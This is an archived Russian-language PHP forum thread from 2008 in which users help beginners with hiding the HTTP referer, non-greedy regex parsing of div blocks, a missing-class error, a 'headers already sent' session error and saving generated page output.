php выполняеться на сервере. Реферер передается клиентом. следовательно, нельзя на php запретить передачу реферера.
.:EnoT:.
08.06.2008, 17:03
Ну если только использовать js как на ачате:
// Открытие ссылки без реферера
function openEx(url)
{
w = window.open();
w.document.write('<meta http-equiv="refresh" content="0;url='+url+'">');
w.document.close();
return false;
}
oRb
понаркоманим?))
1.php
<a href="2.php">Тык</a>
2.php
$send = "GET /3.php HTTP/1.1\r\n";
$send .= "Host: test1.ru\r\n";
$send .= "Connection: Close\r\n\r\n";
$socket = fsockopen('test1.ru', 80, $errno, $errstr, 30);
fputs($socket,$send);
while(!feof($socket)){
$line .= fgets($socket, 4096);
}
echo $line;
3.php
echo getenv('HTTP_REFERER') ? getenv('HTTP_REFERER') : '<br /><b>No referer</b>';
Выдаст No referer, хотя мы пришли туда со страницы 1.php)))
Тока не надо опять говорить что я извращенец)))
:D
oRb
понаркоманим?))
гамно-ворос, канэшна)
1. js - скрипт. может в далеких 90х он и работал) Вообщем посмотрел я свою базу, после обсуждения моего юзербара. Дык, рефереры схватились (4 виндовских оперы, может эта тема в опере тока прокатывает, собственно ваши проблемы^^)
2.
а) Я все же скажу, что ты извращенец) ты набросал подобие "умного" проксика, который кладет под нож сами заголовки.
б) Обращение же будет с ип сервера, а не со своего ип. Или ты это собрался подымать на своем локалхосте? %)
в) Вообще стремная тема, легче зайти в настройки браузера и выключить отправку реверера, чем городить такое.
.:EnoT:.
08.06.2008, 22:51
гамно-ворос, канэшна)
1. js - скрипт. может в далеких 90х он и работал) Вообщем посмотрел я свою базу, после обсуждения моего юзербара. Дык, рефереры схватились (4 виндовских оперы, может эта тема в опере тока прокатывает, собственно ваши проблемы^^)
2.
а) Я все же скажу, что ты извращенец) ты набросал подобие "умного" проксика, который кладет под нож сами заголовки.
б) Обращение же будет с ип сервера, а не со своего ип. Или ты это собрался подымать на своем локалхосте? %)
в) Вообще стремная тема, легче зайти в настройки браузера и выключить отправку реверера, чем городить такое.
1)Почему же? Работает. Он открывает новое окно, и переходит по ссылке как бы с пустой страницы, реферер не передаётся, хотя иногда он всё же передаётся)))
2) Пошутил чтоле? :D Я конечно извращенец, но не настолько чтобы такую порнографию поднимать на лохосте. Тот скрипт что я выложил называется "Мы немного идиоты"))
Короче легче дать ответ мальчику сразу: Реферер кроме как мутными ява-скриптами или другими извращениями типо сокетов и курла не запретить на передачу :)
Хз я оперу не юзаю, не в курсе можно ли там отключать передачу реферера или нет))
BlackSun
08.06.2008, 22:55
Чем вам передача реферера то ненравиццо?))
.:EnoT:.
09.06.2008, 11:12
Есть предположим такая страница:
<div class="abc">
Какой-то блок текста 1
</div>
<div class="abc">
Какой-то блок текста 2
</div>
<div class="abc">
Какой-то блок текста 3
</div>
<div class="abc">
Какой-то блок текста 4
</div>
Регуляркой парсю всё это безобразие:
Да, я наконец-то нашёл время почитать про регулярки :D
preg_match("/<div class=\"abc\">(.+)<\/div>/is",$str,$a);
print_r($a);
Получаю:
Array (
[0] =>
Какой-то блок текста 1
Какой-то блок текста 2
Какой-то блок текста 3
Какой-то блок текста 4
[1] =>
Какой-то блок текста 1
Какой-то блок текста 2
Какой-то блок текста 3
Какой-то блок текста 4 )
Подставлял U, но находит только первое вхождение)
А теперь вопрос:
Как сделать регулярку (или другими способами), чтобы каждый "Какой-то блок текста" был в отдельном массиве, т.е:
Array (
[0] =>Какой-то блок текста 1,
[1] =>Какой-то блок текста 2,
[2] =>Какой-то блок текста 3,
[3] =>Какой-то блок текста 4
...etc...)
Пробовал с preg_match_all(), тоже не помогло.
halkfild
09.06.2008, 11:44
тебе нужно конкретнее писать регулярку..
твое
(.+) собирает абсолютно всё.. посмотри хтмл и ты увидишь, что там много мусора
нужно конкретнее писать регулярку.
как вариант:
<?php
$str=' <div class="abc">
Какой-то блок текста 1
</div>
<div class="abc">
Какой-то блок текста 2
</div>
<div class="abc">
Какой-то блок текста 3
</div>
<div class="abc">
Какой-то блок текста 4
</div> ';
preg_match_all('/<div class="abc">\s\n(([^<]+))<\/div>/si', $str, $result);
$result = $result[1];
echo '<pre>';
print_r($result);
echo '</pre>';
?>
даст результат
Array
(
[0] => Какой-то блок текста 1
[1] => Какой-то блок текста 2
[2] => Какой-то блок текста 3
[3] => Какой-то блок текста 4
)
помогите пожалуйста.
При переходе с сайта на форум,по профилю...выходит ошибка
Fatal error: Class 'tree' not found in **************************** on line 2
как это исправить? в этом файле (***) 2 строчка такова tree::create(0);
помогите пожалуйста,заранее спасибо.
должен быть файл в котором задается этот класс, он должен поидее сверху подключатся к твоему файлу, посмари что нить типа require_once() или include() и внутри одной из этих функций путь к файлу, тебе его нада найти потом посмотрим
.:EnoT:.
09.06.2008, 12:17
тебе нужно конкретнее писать регулярку..
твое
собирает абсолютно всё.. посмотри хтмл и ты увидишь, что там много мусора
нужно конкретнее писать регулярку.
как вариант:
<?php
$str=' <div class="abc">
Какой-то блок текста 1
</div>
<div class="abc">
Какой-то блок текста 2
</div>
<div class="abc">
Какой-то блок текста 3
</div>
<div class="abc">
Какой-то блок текста 4
</div> ';
preg_match_all('/<div class="abc">\s\n(([^<]+))<\/div>/si', $str, $result);
$result = $result[1];
echo '<pre>';
print_r($result);
echo '</pre>';
?>
даст результат
Согласен. Только проблема в том что как ты наверно понял, что у меня между тегами <div></div> не только просто блоки текста, там куча других тегов, таблиц. И всё это нужно отпарсить и потом работать уже с каждым в отдельности
Ну банальный пример:
$str = '<u>
<table border="1"><tr>
<td></td>
<div class="my_class1">Текст1</div>
<td>Другой какой-то текст1</td>
</tr></table>
<img src="img.gif" id="img1" />
<div id="some_id1">Ещё текст1</div>
<a href="1.php">Какая-то там ссылка1</a>
<div id="my_id1">Тоже текст1</div>
</u>
<u>
<table border="1"><tr>
<td></td>
<div class="my_class2">Текст2</div>
<td>Другой какой-то текст2</td>
</tr></table>
<img src="img.gif" id="img2" />
<div id="some_id2">Ещё текст2</div>
<a href="2.php">Какая-то там ссылка2</a>
<div id="my_id2">Тоже текст2</div>
</u>';
preg_match_all('/<u>(.+)<\/u>/si', $str, $a);
echo '<pre>';
print_r($a);
echo '</pre>';
И на выходе должно быть что-то вроде:
Array(
[0]=>my_class1 Текст1 Другой какой-то текст1 img1 some_id1 Ещё текст1 1.php Какая-то там ссылка1 my_id1 Тоже текст1,
[1]=>my_class2 Текст2 Другой какой-то текст2 img2 some_id2 Ещё текст2 2.php Какая-то там ссылка2 my_id2 Тоже текст2,
..etc..
)
Вот в таком духе. Поэтому я и использовал (.+) чтобы получить всю эту ересь в отдельный массив и потом уже с каждым массивом работать, то есть мне отпарсить нужно не только текст, но и все id-шники и классы дивов, ссылок и изображений, ссылки на сами изображения и т.д. вот. Ну проще говоря name, id, классы, src, onclick() и конечно сам текст...
Есть предположим такая страница:
<div class="abc">
Какой-то блок текста 1
</div>
<div class="abc">
Какой-то блок текста 2
</div>
<div class="abc">
Какой-то блок текста 3
</div>
<div class="abc">
Какой-то блок текста 4
</div>
Регуляркой парсю всё это безобразие:
Да, я наконец-то нашёл время почитать про регулярки :D
preg_match("/<div class=\"abc\">(.+)<\/div>/is",$str,$a);
print_r($a);
Получаю:
Array (
[0] =>
Какой-то блок текста 1
Какой-то блок текста 2
Какой-то блок текста 3
Какой-то блок текста 4
[1] =>
Какой-то блок текста 1
Какой-то блок текста 2
Какой-то блок текста 3
Какой-то блок текста 4 )
Подставлял U, но находит только первое вхождение)
А теперь вопрос:
Как сделать регулярку (или другими способами), чтобы каждый "Какой-то блок текста" был в отдельном массиве, т.е:
Array (
[0] =>Какой-то блок текста 1,
[1] =>Какой-то блок текста 2,
[2] =>Какой-то блок текста 3,
[3] =>Какой-то блок текста 4
...etc...)
Пробовал с preg_match_all(), тоже не помогло.
Сильно в твою проблему не вникал, но понял следующее: он у тебя все загоняет в один элемент, т.к. по умолчанию регулярки "жадные", т.е. под твою регулярку попадает все, от первогодива класса abc до последнего закрывающего тег див. Поэтому тебе необходимо использовать так называемый модификатор "жадности" (U).
Т.е. нечто вроде:
preg_match_all("/<div class=\"abc\">(.+)<\/div>/isU",$str,$a);
В первом элементе массива $a будет нужный тебе массив :)
у меня есть менюшка которая в цикле генерица, мне очень нужно сохранить уже сгенеренный код в файлик, типа как если бы открыть через браузер, и када все прогрузится скопировать то что в источнике получилось, только мне это нужно не открывая браузер чтобы скрипт сгенерил код страницы а потом сохранил его, такое возможно?
я попробовал после кода который генерит страницу засунуть file_get_contents и путь там указал к этому же файлу только с припиской урла сайта, чтобы типа он потом сам на себя зашол и скопировал код, но так не вышло....=(
Люди, подскажите почему сессия не стартует?
Тупо пишу:
session_start();
Выдает ошибку:
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at C:\www\sites\rfo\public.php:7) in...
groundhog
09.06.2008, 19:00
Смотри public.php строку 7 - там какая-то инструкция уже начала вывод. Сессии посылаются в хидерах, поэтому вызов session_start() должен предшествовать началу вывода любой информации.
На вашем новичковском это значит что строку session_start(); надо поместить самой первой строчкой в файле (после <?php)
Да, я уже понял, стартанул ниже тегов <html>... спасибо!
у меня есть менюшка которая в цикле генерица, мне очень нужно сохранить уже сгенеренный код в файлик, типа как если бы открыть через браузер, и када все прогрузится скопировать то что в источнике получилось, только мне это нужно не открывая браузер чтобы скрипт сгенерил код страницы а потом сохранил его, такое возможно?
я попробовал после кода который генерит страницу засунуть file_get_contents и путь там указал к этому же файлу только с припиской урла сайта, чтобы типа он потом сам на себя зашол и скопировал код, но так не вышло....=(
используй крон.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot